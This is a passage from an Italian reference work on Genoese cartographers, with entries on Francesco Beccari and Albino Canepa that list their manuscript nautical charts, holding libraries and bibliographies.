M. QUAINI, A proposito di «scuole» e «influssi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
G. ROSSINI, Le fortificazioni genovesi a Vado dal XVI sec.: un capitolo di architettu­ra militare, in «Atti e Memorie della Società Savonese di Storia Patria», N.S. XIV, 1980, pp. 107-139.
R. SOPRANI - C.G. RATTI, Le vite de' Pittori; Scultori ed Architetti genovesi ... , 2 voli., Genova, Casamara, 1768-1769, I, pp. 349-355.

Altro:

Rimandi ad altre schede: Tallone; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Beccari, Francesco

Francesco Beccari
N.
M.

Relazioni di parentela: Forse è il padre di Battista Beccari.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nel 1399 a Barcellona si associa a Jaime Ribes, «cristiano novello», e stipula un contratto con Baldassare degli Ubriachi, mercante genovese, per la fabbricazione di quatto mappamondi riccamente decorati. Nel 1403 firma una carta a Savona.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Francischus Becharius civis janue composuit cartam presentem in civitate Saone millesimo CCCC tercio de mense february (carta nautica, New Haven Sterling Memorial Library, Yale University, Map* 49/1403).
2) Tre carte nautiche dichiaratamente copiate da sue opere e inserite nell'Atlante Cornaro (o Corner), British Library, Londra, Egerton, Ms. 73, singolare raccol­ta di carte nautiche manoscritte del Mediterraneo che riproducono i lavori di numerosi cartografi del secolo XV, alcuni dei quali conosciuti soltanto grazie a questo atlante.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
M. G. CANALE, Storia del commercio, dei viaggi, delle scoperte e carte nautiche degli italiani, Genova, Tipografia Sociale, 1866, pp. 464-469.
C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Genova /atti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 47-49.
P. FALCHETTA, Introduzione alla storia della cartografia nautica a Venezia (sec.XIV-XV), in «Ateneo Veneto», 182, 1995, pp. 273-305.
R. A. SKELTON, A contract of a world map in Barcelona, 1399-1400, in «Imago mundi», vol. 23, 1968, pp. 107-109.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Canepa, Albino

Albino Canepa
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo dal 1480 al 1489.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Albinus de chanepa civis Janue composuit hanc cartam anno domini MCCCC LXXX de mense Marci} in Janua, carta nautica, Società Geografica Italiana, Roma.
2) Albinus de Canepa civis Janue composuit hanc cartam Anno domini MCCCC LXXXIX in Janua de mense may, carta nautica, James Ford Bell Library, Minneapolis.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
G. FERRO, La carta nautica di Albino Canepa -1480, Milano, Jaka Book, 1990
(commento all'edizione del facsimile).
J. B. HARLEY, Maps and the Columbian Encounter, Milwaukee, 1990, pp. 13-15.

Edizione e schede delle carte

Edizione facsimile, Milano, Jaka Book, 1990.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo